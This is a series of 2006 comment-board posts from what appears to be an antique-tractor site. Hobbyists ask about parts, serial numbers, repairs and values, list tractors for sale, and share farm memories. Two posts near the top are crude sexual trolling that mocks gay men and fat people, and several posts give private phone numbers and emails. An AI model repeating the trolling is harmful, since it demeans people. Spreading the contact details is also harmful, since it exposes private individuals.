Henery Gay wrote on Tuesday, April 18, 2006 (PDT):Hey big boy, I'm lookin' for someone special to satisfy my needs. I'm 500 pounds, and would love for you to fill my rolls with jelly. See ya
neil cowley wrote on Monday, April 17, 2006 (PDT):I have a super M and am trying to get the radiator off, does anyone have information on how it ataches on the lower end (bolted or pins?). am also changing the valve gasket, any advise? thanks
John Brown wrote on Monday, April 17, 2006 (PDT):I'm A queer and I'm looking for a vintage 50's man. I like those wrinkly old balls. Lets make love in the hay loft. I love farmers who are fat and wear tight little wranglers with speedos. give me some lovin'.
Jamie wrote on Sunday, April 16, 2006 (PDT):I have a 1958 AC wd45... Does any one know what it could be worth?
Brandon Hotchkin wrote on Sunday, April 16, 2006 (PDT):Looking for a 1900 fwd tractor
STacey Stalter wrote on Sunday, April 16, 2006 (PDT):My grandfather has a crawler that looks a lot like this one. It run, but I don't know how well. I need to find out what it is worth. A distant relative of mine is trying to take it from him, and I want to show my grandfather what it is worth so he does not let it go without getting a fair price for it. Thanks for any help, Stacey Stalter
Otis Ellerson wrote on Sunday, April 16, 2006 (PDT):I currently own a set but are going up for auction 4-22-06 at the 18th broome county farm bureau auction.
graham wrote on Sunday, April 16, 2006 (PDT):for sale marshall ser 2 fitted with a hesford winch some new tin work in need of a paint but runs and drives ok £6500 tel 07833631874
mark christensen wrote on Saturday, April 15, 2006 (PDT):I am looking for a draw bar for a MM M5 thank you mark
mark christensen wrote on Saturday, April 15, 2006 (PDT):I am looking for a draw bar for a MM M5 thank you mark
Jack Wilton wrote on Friday, April 14, 2006 (PDT):Where can I find a louver for an Allis Chalmers radiator louver? I have an Allis Chalmers B.
Jim MacNeil wrote on Friday, April 14, 2006 (PDT):I have a '49 Massey-Harris Pony tractorwith garden plow. I would like to receive instructions for hooking it up and also picture if you have one attached
Bob T wrote on Friday, April 14, 2006 (PDT):Grew up on this tractor. Never failed to start, but I did manage to get it stuck more than once. Dad called me a mud magnet.
Mario Murtha wrote on Thursday, April 13, 2006 (PDT):I have just purchased a Fordson Major w/ hydraulic bucket on front and was told it was a Major 30. I don't know much about them but it drove fine for the 5 miles to my home. I looks alot like the one pictured above but has blue wheels and a bucket. I had no idea that there was such a large following for the Fordson. Any sights that I can visit or persons with info would be appreciated. I do intend to make the next tractor show in my area(June)since I've never seen another Fordson in my area so anything to make it a show winner would be appreciated! Thanks!
RoseMarie Ragan Matthews wrote on Wednesday, April 12, 2006 (PDT):Hello! A Oliver Super 44 was the first thing I drove! My Dad sold it when I was 16! If anyone has one for sale in the southeastern USA. Please email me! I was raised on a farm! I could take his tractor put the attachments on it and just about do anything on the farm with it that needed to be done! I have a saying " I clean, I cook and I can drive a green tractor too!"
E.T. Zandarski wrote on Wednesday, April 12, 2006 (PDT): D17 hydraulics problems. This was my fathers tractor, he died 11 years ago of cancer. I finally got it back in the family, but it has problems, it sat for 5 years under a lean-two. Hydraulics are not lifting, please help. Checked hydraulic hose in pumpkin and o-rings in cylinder.Everything looks good. Why wouldn't any oil come out the back of the hydraulic line, going back to the rear hydraulic lift system? Screwed transport valve in, no lift. Screwed out, no lift. Loosened line on pressure side of transport valve, started engine no fluid came out the pressure side of line. Pulled relief valve apart and everything looks good. Left relief apart, started engine and no oil came out at all. Followed both hydraulic lines to the front, one was on the left side of the gastank and the other is on the right side. Disconnected both lines, blew air threw lines and were clear. Next, blew air into pressure side heard oil bubble on pressure side. Did the same to return side, same thing. Started engine with lines disconnected, no oil at all. Moved levers up and down still no oil. Also, power director lever is stuck in the forward position. PTo lever will not move. Will not engage. Is this a pump problem? We have the IT manual is that the best one?
Larry Kupferschmid wrote on Tuesday, April 11, 2006 (PDT):I have a TO20 (1949?) with an internal oil filter. The oil pan access cover leaks badly. I read where this is common. Is there an easy fix for this and where can I purchase a new gasket for the access cover? Thanks.
Dan McNeill wrote on Tuesday, April 11, 2006 (PDT):I have a sheppard S D 3 engine in a crawler I don,t know who made the crawler. I took it to a tractor show and no one could tell me any info on the thing.I have used it off and on for the last 15 years and it still runs good. Iam asking 2500.00 for the little gem If anyone has any info on the crawler portion plese let me know,or would like to purchase it drop me a line on the net. Iam located in washington State. Thanks guys Dan
Dan McNeill wrote on Tuesday, April 11, 2006 (PDT):I have a sheppard S D 3 engine in a crawler I don,t know who made the crawler. I took it to a tractor show and no one could tell me any info on the thing.I have used it off and on for the last 15 years and it still runs good. Iam asking 2500.00 for the little gem If anyone has any info on the crawler portion plese let me know,or would like to purchase it drop me a line on the net. Iam located in washington State. Thanks guys Dan
Rob Post wrote on Tuesday, April 11, 2006 (PDT): I have an Oliver 70 that runs beautifully and would like to sell it. It has a pretty rough loader on it but would sell with out loader. It is a row crop. Rear rubber is in bad shape but I do use the tractor so it is ok.
mcmom2005 wrote on Monday, April 10, 2006 (PDT):Where can I find parts for a 1958 Fordson Dexter tractor? Any links please or addresses. Thanks.
Thomas N. Martin wrote on Sunday, April 09, 2006 (PDT):I remember this tractor fondly. Grandpa bought one new and I used to ride with him...until one day I fell asleep and fell off! Thats was the end of riding, Mom threw a fit. Today that tractor is in my possesion and am currently restoring. My main interest is to install wide front.
Jim Robinson wrote on Sunday, April 09, 2006 (PDT):I have a mid 60s model 2010 row crop. I seem to be having transmision problems. The tranny makes a grinding noise when the tractor is in reverse and doesnt move. Does the linkage need adjusted or I have been told that it probaly needs syncros. Any help here would be greatly apriciated.
Josh Sumner wrote on Sunday, April 09, 2006 (PDT):about to buy a 1970 or 71 farmall hi crop, just wanted to see if i could get a ballpark price for the tractor and all the equipment,sweeps, fertilizer spreader..etc.rough condition .but does still run.
Josh Sumner wrote on Sunday, April 09, 2006 (PDT):about to buy a 1970 or 71 farmall hi crop, just wanted to see if i could get a ballpark price for the tractor and all the equipment,sweeps, fertilizer spreader..etc.rough condition .but does still run.
devendra lalji wrote on Sunday, April 09, 2006 (PDT):We are based in Zambia in the city of livingstone and have two zector tractors, model no 7711. Please confirm if you stock parts for the same
Michael Davy N.Z wrote on Saturday, April 08, 2006 (PDT):I have a 1932 i think. It looks like WC tractor but early guards only crank start no starter motor spoke wheels at the back only. If any body got any informaion it would kindly appreciated I had it fireing but not going i since pull the head off and misplace the push rods and mag if any body has these parts and want to sell or any has any information on these tractors are they rare. Please email at vickiandmichael at clear.net.nz
Garry Cottrell wrote on Friday, April 07, 2006 (PDT):I need a select-o-speed shifter and cable assembly for a 801 Power Master.276-445-5569
carl britton wrote on Friday, April 07, 2006 (PDT):i am begginer with the antique tractor thing so far i have a 1956 international 300 utility and i was wondering where the timing marks were on it, if somone could tell me i would appreciate it.
carl britton wrote on Friday, April 07, 2006 (PDT):i am begginer with the antique tractor thing so far i have a 1956 international 300 utility and i was wondering where the timing marks were on it, if somone could tell me i would appreciate it.
Brad wrote on Friday, April 07, 2006 (PDT):I am looking to purchase a fuel pump for my Oliver or just the bowl and gaskets. I don't know the exact year but it has to be late 40's or early 50's. I have the diesel model. 505-546-4249.
Barb Hillman wrote on Friday, April 07, 2006 (PDT):We have a 300 utility and it came without 3pt hitch tongs. Yestrday's Tractor has them but they don't ship to Canada. What other stores have them that ship to Canada?
Julie wrote on Friday, April 07, 2006 (PDT):My husband has purchsed a JohnDeere riding lawnmower a 1950s dont know the exact year its a 60 series completly restored and in excelent condition. We were wondering if it os worth any thing. Please e-mail me with any info. we might consider selling.
TANESSA wrote on Wednesday, April 05, 2006 (PDT):I am getting no spark to the plugs, but I have power to and out of the coil. nothing is visably wrong, any suggestions on what the problem is. 9N, 1941
Melvina Prescott wrote on Wednesday, April 05, 2006 (PDT):I have an AC 1955 wd-45 for sale for $1500.00. It runs good but does need a little starter work done on it. It also has a lift/bucket on it. 620-569-2563
Wayne Proper wrote on Wednesday, April 05, 2006 (PDT):We live in Washington State and own a 1947 Pony. We need a part for our carb and don't want to buy an entire carb. Does anyone have or know where we can buy the bowl that the float sits in? Otherwise, our Pony runs good and loves to work on our 3.5 acres. Please let us know if you can help us.
Larry Steed wrote on Wednesday, April 05, 2006 (PDT):As founder and president of the newly formed Bluebonnet Antique Tractor Club (BR171 of EDGETA) in Pearland, TX, I have been collecting JD's going on two years now and once I got up close and personal w/a "G", I knew I had to have one. Fortunately I had dealings with Fred Rademacker (a regular seller on the YT site) of Green Valley, IL and he had one of the most beautiful restored "G's" around and offered to sell it to me. Without any hesitation whatsoever, I accepted his offer and brought this tractor to TX, and must say that the "G" (in my opinion) is probably THE finest row crop tractor of it's era that JD ever built. Once you own a "G", you'd probably get rid of it for ONLY one reason; to buy a nicer and/or better "G"!
Getald Peterson wrote on Tuesday, April 04, 2006 (PDT):How do I time my 2010 1965 JD tractor. The timing is retarded. I've paid to have it timed but had no success.
Dugald Ringel wrote on Tuesday, April 04, 2006 (PDT):Can someone tell me where to find the serial number for a Fordson Major Diesel? I'd like to verify the year model and found a list of serial numbers corresponding to year model but I don't know where to look for the serial number on the machine. Thanks in advance for any help.
Kevin Hinderman wrote on Tuesday, April 04, 2006 (PDT):I have a Oliver 770. It is a very good tractor. I need a PTO sheild and a tool box lid to complete my restoration. Please contact me if you have the needed parts. (608) 778-1553. thanks
dalton wrote on Monday, April 03, 2006 (PDT):i have a allis chalmers wd45 and i have a loader for sale for 150 obr i live in il in amboy
pat wrote on Sunday, April 02, 2006 (PDT):I just bought john deere 1010 special and can't find the serial do you know where it would be located on the tractor . does any one have information on this tractor i can't find much out about it would like to know what year it was made and any other information would be help full thank you
Larry wrote on Sunday, April 02, 2006 (PDT):I look at 5 ac 160 For Sale on friday 3-30-06 at sumerix imlp talk to Ivan He said he had lots of parts to . His number is 1-800-838-5869
Jim Broughton wrote on Saturday, April 01, 2006 (PST):FritZ; Your Cub is a 1973 model,per the serial list in Yesterday's tractors...YTMAG.COM
Timothy Monnier wrote on Saturday, April 01, 2006 (PST):Hi Folks, Ya, I have the exact tractor I believe, I bought it from a retired farmer and he went from front to back on the old girl, runs like a new one, BUT I am having a bit of trouble with the loader on it, it just don't have the power to lift a full load in the bucket. Anyone out there got any ideas you can share with me to give the lifting more power? Just curious, what do you think the tractor is worth? as I said, if it sat next to the one in the picture on the front page, mine would shine more, eveything is good on it, no B.S. either, good rubber and all. Anyway, if anyone can help me, give me a e-mail ,Thanks Tim
jake wrote on Friday, March 31, 2006 (PST):this looks like a very nice tractor. I have one just like it. I am now working on repainting it. If you know of anyone who has a ta for a 560 for sale please let me know. Just email me at cutter721 at yahoo.com THANKS
Nell Dozier wrote on Thursday, March 30, 2006 (PST):I have a Farmall B (International Harvester) - serial number FAB 1540. Can you tell me the year this tractor was manufactured?
jonboy wrote on Thursday, March 30, 2006 (PST):I just bought an oliver supper99 with 6 cyl diesel I would like to know how many were made like this one and the years they were made? I am going to use it for tractor pulling. How would it do against a JD 830?
Dwaine McCormack wrote on Thursday, March 30, 2006 (PST):Looking for a steering wheel & center cap for 1936 SK model R66 I would appreciate any help.
Carl Besola wrote on Thursday, March 30, 2006 (PST):In response to Richards Quest. about decompressor operation. If batt. has enough power, eng. should start without decompress. Dagenham when tuned right will start pretty easy depending on outside temp. If nescessary however, it is best to have an assistant. raise lever to decompress, spin eng. over, and when it begins to fire pull down on lever for full compression and eng should start. Whoever is working the lever should have some common sense so they don't stick they're hand in the fan or something stupid like that. Also in my experience, when eng is tuned right, it will knock and ping and shake and lope up and down on the governor when idling, I've found that if they idle smoothly, they will be hard to start and won't have full power [something to do with timing]. My father at one time had 7 FMD's, 5 with sherman loader and power diggers, one with wagner loader,[no digger]and one as a farm tractor.
Carl Besola wrote on Thursday, March 30, 2006 (PST):Is there anybody out there with a Fordson Major Diesel equipped with the Sherman loader and power digger [backhoe]like the one I've got? 1956 model. I have no pics to post, no digital camera yet.
armin Gonzalez wrote on Wednesday, March 29, 2006 (PST):I have a 2000 with backhoe and loader,came back from a stroke and did not check for fluid tranny went out, is there any avaiable out there?I think they made them in 62-64, also they tellme the ford 600&601's fit, it's a 4 speed. I appreciate all your comments and wisdom.try to be farmer Armin
kenny wrote on Wednesday, March 29, 2006 (PST):I just bought a 1954 jd 60 with out power steering , can I add power steering to this tractor thanks.
Zac Jancek wrote on Tuesday, March 28, 2006 (PST):We've inherited a Silver-King A Model tractor and would like to know if anyone would be interested in purchasing it. It is not a narrow front; it has 4 wheels and we think it's from the 1940's. Wondering how to appraise this tractor also.
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):In the summer of 1938 I pitched many bundle of wheat into a threshing machine powered by a Rumley Oil Pull. Tom, the owner of the Rumley, was rather careless when filling the water tank of the Rumley. He simply dipped water out of stock tank and filled the supply tank. Sometimes he might get a grasshopper or two or perhsps some moss in with the water. That meant that on occsion as we were thresshing wheat, the Rumley would lose power because somehing had plugged the water line. The result was that the Rumley would overheat, since it was not receiving water with the fuel to cool the engine sufficiently. So we pitchers would get a rest until Tom got the grasshopper, or whatever else might have plugged the line, out.
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST): I spent many an hour on a 1922 Wallis Tractor when I worked for a farmer in the summer of 1938
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):This is the story of the Bull Tractor as told me by Charlie, whose father purchased one in l912. They lived 10 miles south of town. "We got work that our Bull was on the loading dock in town. So we hitched the mules to the wagon and went to town to get our Bull. "I wanted to drive the Bull (Charlie was 14 years old at the time), but dad said, 'No, Charlie, I'll drive the Bull. You take the mules, but don't run away from me.' "Seven miles out of town the front wheel fell off. We got the Bull hung on to the wagon and drug it on home with the mules. When we got it repaired, we decied to plow a small field north of the homestead. We plowed about two acres, and the engine quite. We cranked and cranked and could not get it started. Dad got in touch with the company and the company sent a man out to our farm. He checked the engine and told dad it was worn out, and we needed a new engine. And, of all things, dad ordered a new engine. That installed, we started to plow again. This time we plowed about three acres when the engine quit. Again we cranked and cranked, but it would not start. I could see dad was getting sore. Finally he said, 'Charlie, go home and get the mules.' With the mules hitched to the Bull we drug that Bull out of the field into the windbreak right north of the homestead." To this I add that I remember seeing that Bull stand there in the windbreak in my childhood and in my teenage years, when I worked for Charlie. I am now 90 years old
Homer H. Kurth wrote on Tuesday, March 28, 2006 (PST):This is the story of the Bull Tractor as told me by Charlie, whose father purchased one in l912. They lived 10 miles south of town. "We got work that our Bull was on the loading dock in town. So we hitched the mules to the wagon and went to town to get our Bull. "I wanted to drive the Bull (Charlie was 14 years old at the time), but dad said, 'No, Charlie, I'll drive the Bull. You take the mules, but don't run away from me.' "Seven miles out of town the front wheel fell off. We got the Bull hung on to the wagon and drug it on home with the mules. When we got it repaired, we decied to plow a small field north of the homestead. We plowed about two acres, and the engine quite. We cranked and cranked and could not get it started. Dad got in touch with the company and the company sent a man out to our farm. He checked the engine and told dad it was worn out, and we needed a new engine. And, of all things, dad ordered a new engine. That installed, we started to plow again. This time we plowed about three acres when the engine quit. Again we cranked and cranked, but it would not start. I could see dad was getting sore. Finally he said, 'Charlie, go home and get the mules.' With the mules hitched to the Bull we drug that Bull out of the field into the windbreak right north of the homestead." To this I add that I remember seeing that Bull stand there in the windbreak in my childhood and in my teenage years, when I worked for Charlie. I am now 90 years old
Bill Ritter wrote on Tuesday, March 28, 2006 (PST):I have a 1950 model 42 Silver King tractor. My grand father baught it in 1957 and used it on the farm. It was restored about 12 years ago by my dad . We then used the tractor on our farm making hay and other odd jobs. when we sold the farm the tractor went in to storage. Now i want to fix it up to look brand new. The tractor came with a frontend loader when my faimly bought it in 1957, but has been long gone. If any body can tell me where i can buy a loader for it i would appreciate it.
jerry wrote on Monday, March 27, 2006 (PST):I have older fuel pumps (unknown condition), 2 starters, wide front, one engine and 2 heads. Please contact me if you are intrested in any of these items.
Larry Dale wrote on Monday, March 27, 2006 (PST):My freind has a 550 oliver that is like new. It has always been inside, has a loader with a hyd bucket. 1300 org. hours. he is the 2nd owner He is thinking of selling, he wants 5000 for tractor and loader.
Jeanette Harwood wrote on Monday, March 27, 2006 (PST):March 27 2006. I'm not sure when we got it but my late husban got our D 17 at a farm sale, I have sold it to my son-in-law and it is still being used on our farm, he has put some work on it like new fenders and some other repairs . we also still have a WD that we got new in 1953,that he is starting to restore, my husban used it just before he passed away in 1996, the rims went bad and has just been setting, we also have a 190, that he baught in the early 1970's still being used. I do quilting and wanting to make a quilt with AC tactors,that is the way I found our sight, looking for ideas, Do you know where I could find picures that I could use for this, we have had nothing but AC from back in 1953.
J. L. F. wrote on Sunday, March 26, 2006 (PST):Need to know if you can tell the year model of my inherited VAC by the serial number? Any help out there?
Gary wrote on Sunday, March 26, 2006 (PST):Am trying ti find approx. price that a 1952 Farmall C is worth. Tractor is in excellent running condition but needs cosmetic work. Thanks
philip riley wrote on Sunday, March 26, 2006 (PST): ***ATTENTION 420 COLLECTORS*** I have a regular 420 for sale in waco kentucky if anyone is interested please email me for pics and info on tractor. This is an excellent canidate for a show tractor all that is needed is a little paint and some minor other stuff!!!859-358-0476
philip riley wrote on Sunday, March 26, 2006 (PST):*** ATTENTION 140 COLLECTORS ! I have 2 international 140's for sell in waco kentucky also several parts as well if anyones interested. also i have a late model key start i am keeping and want a fast hitch for it. If anyone could help me out or wants to know about the to i have for sell please call 859-358-0476 can email pics!
Jick Reese wrote on Sunday, March 26, 2006 (PST):My father is rebuilding his Massey-Harris pacer, we have no # except Y91 on the engine. Looking for manifold, radiator and sheet metal, new or used
John Boldrey wrote on Saturday, March 25, 2006 (PST):I am looking for a D15 Series 2 or D17 Series IV tractor with or without loader. I prefer a tractor in good condition, although I would also consider a fixer upper. I grew up on Allis equipment, and appreciate all help i locating a tractor.
William Brogan wrote on Saturday, March 25, 2006 (PST):My Pop and I have a B for sale if you might be interested please contact me.
Gary Clark wrote on Friday, March 24, 2006 (PST):My uncle, Martin House, went to kill a steer for butchering, and having left his .22 rifle at the house, took a long yellow wrench off the old "minnie" and smacked that steer between the eyes, dropping it like a rock.
Jim Simpson wrote on Friday, March 24, 2006 (PST):I have a B. I have a B.F. Avery I am the second owner this tractor runs well and has the two speed transmission. This tractor is a 1946 and still has the origional Wards Riverside Tires on front and back. they are shiney but hold air. The tractor could use some paint but otherwise runs well Thanks JIM
grants setty wrote on Thursday, March 23, 2006 (PST):i am looking for an oliver tractor doesnt matter what modle i would like to find one in centrailil or in thanks grantzworld_92 at hotmail.com or 18157856256 i will be home after 6 o clock thanks
grant setty wrote on Thursday, March 23, 2006 (PST):i am looking for an oliver tractor doesntmatter what modle need one for a summer project i live in illinois and am looking for one in ill.thanks
Dave (NE) wrote on Thursday, March 23, 2006 (PST):Wayne, the Agco dealer was the only place I was able to find the brake disc. Have you taken them out and checked them? They frequently get a glaze on them that can be sanded off with emery paper. I replaced one set and sanded the other set on mine. The sanded set seems to work better.
wayne bullen wrote on Wednesday, March 22, 2006 (PST):where can i find brakes for an ac 160?
Wilson wrote on Tuesday, March 21, 2006 (PST):I also own an Oliver 60 Industrial. I'd appreciate it if someone could email me some photos of the brake equalizer (installed) and the clutch pedal to clutch rod attachment.
Ken Kucille wrote on Tuesday, March 21, 2006 (PST):I was just reading some comments on this website and came across someone who asked about changing their 1966 D15 Series ll to negative ground. Is this tractor a positive ground? I have a 1965 D15 Seriesll and would like to find out before I complete the restoration.
Richard wrote on Tuesday, March 21, 2006 (PST):Recently purchased Fordson Major Deisel mfg. 11/57. Has decompression lever in rocker arm cover. Would like to know the proper procedure of using lever during starting of tractor.
jeff VanDen Bogart wrote on Tuesday, March 21, 2006 (PST):I am interested in buying a D21 if anyone has one for sale or knows anyone who might want to sell one please e-mail me thank You
Donna (NE) wrote on Tuesday, March 21, 2006 (PST):Have a WD that I use for antique tractor pulling and is a pretty good little puller. Engine hasn't been touched. I also used a WD45 on the farm when I helped my dad when still in school. Maybe that is why I like the WD for pulling.
tess wrote on Tuesday, March 21, 2006 (PST):I have a Massey Harris Pony tractor, and want to know what year it is the serial is PGA15827, and how much oil will it hold
Kevin Chadwick wrote on Tuesday, March 21, 2006 (PST):I have a Farmall A,the serial number plate by the seat is missing, asI need to purchase new exhaust and inlet valves,how do I age my tractor as all sites refer to serial numbers to order spare parts.Where can I purchase new valves and any idea of the correct part numbers.Kevin
michael majkic wrote on Monday, March 20, 2006 (PST):i am looking at buying a ford dexta 144 ci and would like to know if anyone could email a copy of the manual to me. anything would be appreciated. also anything on a international b414.
jeffrey wrote on Monday, March 20, 2006 (PST):any information would be helpful. Thanks
jeffrey wrote on Monday, March 20, 2006 (PST): i am 13 yrs.old and my dad said that his dad used to have an Oliver. He thinks it is an Oliver 60? Did Oliver ever make an all steel 60? I have never seen it but my dad said that it was rusty when he was a kid (in the 60s) and he said it wasn't running then. So i imagine it is stuck and would take a lot of work though.
Travis T wrote on Monday, March 20, 2006 (PST):I have a MM U special, dosn't seem like many specials around like there are U's What is this tractor worth runs good and still has origial paint and stickers. faded but still readable.
Trent Spivey wrote on Monday, March 20, 2006 (PST):I have just acquired a 1948 Case S tractor, the engine has been completely rebuilt, but the rear tire rubber needs replaced.. Does anyone know where I can pick up a set of rubber. I live outside Waco, Texas.. Thanks...
Harold J. Rauch wrote on Monday, March 20, 2006 (PST):Hi there, I have a 1954 CASE 500 Diesel tractor, it is in pretty good condition, but it has a spun rod bearing on #3 cylinder, the engine is not stuck, it has rear wheel weights and power steering, tractor is all there, I have extra engine parts etc. I might consider selling it if I get what I am asking price for the tractor. I really don't have the time to work on it right now. Let me know if you have an interest, I live in Penna. and live 17 Miles North of Allentown, Pa. my phone # is 610-767-8370 if you would like to talk on the phone. Thanks, Harold
Ray Johnson wrote on Monday, March 20, 2006 (PST):I bought a Allis Chalmers 160 last year and ran great. This year started up fine but hydraulics don't work. Put fluid in and sill won't work. Any advice. Do I have to bleed the system?
steve wrote on Sunday, March 19, 2006 (PST):hi cockshutt friends. i'm looking to chat with any one who wants to about cockshutt tractors. i have grown up on cockshutt pulling tractors. i have 2 cockshutt 40 models and a 50. great tractors. my first taste of these tractors is my dads 50 which he still has after 30 plus yrs. thanks cockshutt puller
Grant Setty wrote on Sunday, March 19, 2006 (PST):I am interested in buying a B and wanted to know if it would be a good tractor to fix up and put around town with thanks.
bill mcenery wrote on Saturday, March 18, 2006 (PST):where can I git a service manual for a ford super dexta 1964? could any one tell me how to add oil to the steering box thanks bill this is one strong tractor
Randy Cole wrote on Saturday, March 18, 2006 (PST):I have a WD45 and need a shift assembly for a 4 speed with a curved shift lever.Any help would be greatly appreciated.
Martin Kutter wrote on Saturday, March 18, 2006 (PST):I was wondering if the 8/16 was made in 1912? If so what would the value be for it. It is complete but not running.
asim abdalla wrote on Saturday, March 18, 2006 (PST):I would like to buy massey ferguson model 290,BUILT In 1992 2WD Please let me hear from. you
Rowena Parsons wrote on Friday, March 17, 2006 (PST):I am uncertain about the model. Can anyone tell me if the Farmall C came with an under belly mower? How much would the under belly mower be worth? How can someone judge the condition of an older tractor? How can you put a price a tractor of this calibur? Especially when it was still running in the late 70's. It has been in a shed pretty well shelter from the weather. Open for suggestions and/or ideas. We are considering selling it for reasonable price to someone wanting to restore it. It has been in our family for 45 to 50 years. We prefer not to separate the tractor from the mower.
Tim Wininger wrote on Friday, March 17, 2006 (PST):I have a Super Dexta and it's a fine tractor but hard to start when it's cold. I have a friend who can order parts for older tractors. Just email and I'll help if I can.
Thomas Courtney wrote on Thursday, March 16, 2006 (PST):We Have 2 Super Dextas. We retired the first with well over 10,000 hrs. We just acquired a "new" one for $3000, with just over 2100 hours. Great tractors, but you better park on a hill below 50 degrees. Our first Dexta with over 10K hrs still runs fine, but needs injectors cleaned, and tranny rebuilt. Then we will have 2 again. Our Newer dexta has a mounted EnFo Manure Loader, which is only one armed.
Dewitt Edenfield wrote on Thursday, March 16, 2006 (PST):I have a '56 Cub that runs great, looks pretty good, and that I love! I farm 5+ acres with it and it really is a work horse. Greatest little tractor in the world.
groves wrote on Tuesday, March 14, 2006 (PST):I build new radiators for waterloo tractors out of copper and brass, no steel exposed to coolant. Call 937-592-7836 for details or e-mail me
casey wrote on Monday, March 13, 2006 (PST):I am looking to buy a sickle-bar mower for my Allis G. Willing to ship from anywhere to Pacific Northwest. Thanks!
Wes wrote on Monday, March 13, 2006 (PST):My Dad and I just purchased a 1950 B, I love the tractor, it starts easier than most of our field tractors, and it's so fun to show off to my relatives!! I love this Tractor!
Gary Kirby wrote on Monday, March 13, 2006 (PST):I have a WD45 in Oklahoma. I have the side belly 9' sickle mower, disk, springtooth, 3/14 plow and 2/16 plow all with original hookup. The tractor is on propane, with wide front end runs great, has been shedded. Listed on my auction April 3. If interested in other info give me a call Gary Kirby 918 740 3572. I believe you can bid on line.
Bill wrote on Sunday, March 12, 2006 (PST):I am looking for parts for a model B Allis Chalmer tractor. Also looking for implements.
Clifton Polk wrote on Sunday, March 12, 2006 (PST):I have a older Dexta and do not know haw to find the year model and I hav A parts tractor bouth with round front. HELP CLIFF
Todd Yates wrote on Friday, March 10, 2006 (PST):I have a serious 2 that was used as the main tractor on our farm up to about 10 years ago now i am in the process of restoring her, all up we have about 30 marshals all told most of all are bones and still have some brand new rings and bearings as well as alot of other parts stored away but sorry I cant help yous as I am in New Zealand but keep on bringing these beautys back to there glory..
Denny Robinson wrote on Friday, March 10, 2006 (PST):Ihave resently been given a eihier an L or LA by an uncle. I believe the seriel numbeer is missing, or I do not know where to look. If it is missing how do I come up with a number and how do I figure out exactoy what it is. I neek to get manuals for it, not sure which manuals to buy.
Jim Fletcher wrote on Friday, March 10, 2006 (PST):Purchased a Cub Serial Number #83611 a 1949 in orginal shape and running condition. Has a Woods 42C-6 Belly mower attached to it. Does any one know if the tractor is a Deering Model? Think the company changed mid-year in 1949. Also, my son wants this to be a "big" little tractor, anyone know where I can get some "dual" rear wheelextentions?? We also have a Allis-Charmers CA, which is about the same size. Both are being used on the ranch now. It seems easier to find parts for the Cub.
robert hinckley wrote on Thursday, March 09, 2006 (PST):Darrell; The distinctive "yellow" colors on Olivers were generally industrial/construction models. I think the only difference was the paint otherwise the tractors I saw (a few) were identical to Agriculteral models. SeaBee Mal
Kale Stewart wrote on Thursday, March 09, 2006 (PST):I own a 1952 Farmall Super M. It has a wide front end and a heavy duty 3pt hitch. This tractor is currently being restored and I was wondering about what it will be worth when finished.
Bill McEnery wrote on Thursday, March 09, 2006 (PST):I have a 44 row crop with a decal that reads [ red river special ] told they were sold in southern manitoba to work the sugar beets any infro. on this? a good running machine
Scott Walters wrote on Thursday, March 09, 2006 (PST):Dad had a 1958 super99 gm diesel with cab on it It also had a powermizer lp gas shot to it. Sold in early seventies went from Ill to Wisc.I was born in 58, Anyone know about my tractor? Sure would like to own it or one like it again. Nothing like meadow green and clover white.
stan engstrom wrote on Wednesday, March 08, 2006 (PST):i have completly restored my 53 cub but one thing stumps me.the hydrolic system. it has a bucket run by lever attached to a tank on the steering shaft. on top of the tank is a tube with an end cap with 2 holes. oil has squirted out of the holes several times when lifting the bucket. need advice. thanks much
Dave (NE) wrote on Wednesday, March 08, 2006 (PST):Dan, where are you located and how much do you want for the cultivator and plow? Email me. I tried to email you, but apparently your email was not working. Dave
Julia Parker wrote on Tuesday, March 07, 2006 (PST):Just bought one does anyone know the whereabouts of clutch parts ? mine doesn't have one at the mo
Evan Lesser wrote on Tuesday, March 07, 2006 (PST):Hi, I am a college student who is interested in restoring Case tractors. I have restored many but have a VAC and and SC in my collection still. I am looking to buy an LA to restore. If you have one for sale or know of one anywhere near Kansas please email me...thanks
lynn wrote on Monday, March 06, 2006 (PST):I work for a gentleman who loves Massey Harris tractors. It reminds him of his childhood. anyway he has one and it needs some refurbishing. The only numbers I can find on the tractor are located next to the clutch plate Those numbers are 30 G (R?) or P 3096 could this possibly be the model and serial #
keith wrote on Monday, March 06, 2006 (PST):I just bought a d17 it is a 1957 modol. allis started making them in fall of 57. mine is sn 3150
Mike wrote on Saturday, March 04, 2006 (PST):Looking for parts for Co-OP C . Fenders, radiator, and various other parts. Please contact. Thanks
Cory Ashman wrote on Thursday, March 02, 2006 (PST):This tractor is awesome. I have never seen anything like it before. My family does great business with John Deere and my dad loves john deere but i have never heard of this tractor before. I love it.
Paul D Prewitt wrote on Tuesday, February 28, 2006 (PST):My dad purchased a B F Avery in 1948 from Montgomery Ward at Chillicothe, Mo. The picture in this website looked like the one he bought (1 wheel in front). Someone mentioned about the hydralic system. There was a square part mounted on the frame on the right side of ours & someone at Montgomery Ward, I believe, said they were surplus from WW2 bombay door openers & closers on light bombers like the B25 or similar. I really don't know for sure. It was a pretty good tractor except the cultivator was all on the front and VERY heavy which made a lot of weight for just one tire in front. The corn planter attachment was real good tho. Thanks, Paul
Bruce Severson wrote on Tuesday, February 28, 2006 (PST):I have been looking for a mid sized tractor for some time and a freind of mine is selling me a gas 560 converted to a wide front that has a loader, bucket, bale stabber, forks for the back and blade that is hyd. adjust all for $2500. Did I get get a good deal? I am not up on this color red. My father always had massys on the farm. Bruce
amnon barkan wrote on Tuesday, February 28, 2006 (PST):i look for farmel a 1950 or 1951 or 1953 and want to buy it and bring it to my home in israel/ my father work with this tractor and it's very impirtand for me.can some one want to sell?
Brad wrote on Monday, February 27, 2006 (PST):I purchased a Farmall H with no serial plate on the tractor. How can I determine the year of the tractor? Thanks
Donna Babcock, wrote on Sunday, February 26, 2006 (PST):Our Club, Platte valley Antique Machinery Association, will be having its 23rd Annual Antique machinery working Show July 8 and 9, 2006 south of Hastings, Nebraska. We are featuring Oliver, Co-op and Cockshutt tractors (there will be others on display as well). I found the history of Oliver tractors, where can I go to find the history of the Co-ops and Cockshutts. I wish to print this information in our monthly newsletter. For more information on our show email me direct to receive a flyer by mail or go to our web site at www.pvama.org. This is a two day show. Thanks for your help.
dallas gronefeld wrote on Sunday, February 26, 2006 (PST):i'am looking for a rebuild kit for a ac. d17 LP engine.any help on finding a website to buy them would help. have a d17 iv. gas love it. but the d17 LP. to play with.thanks for any help.
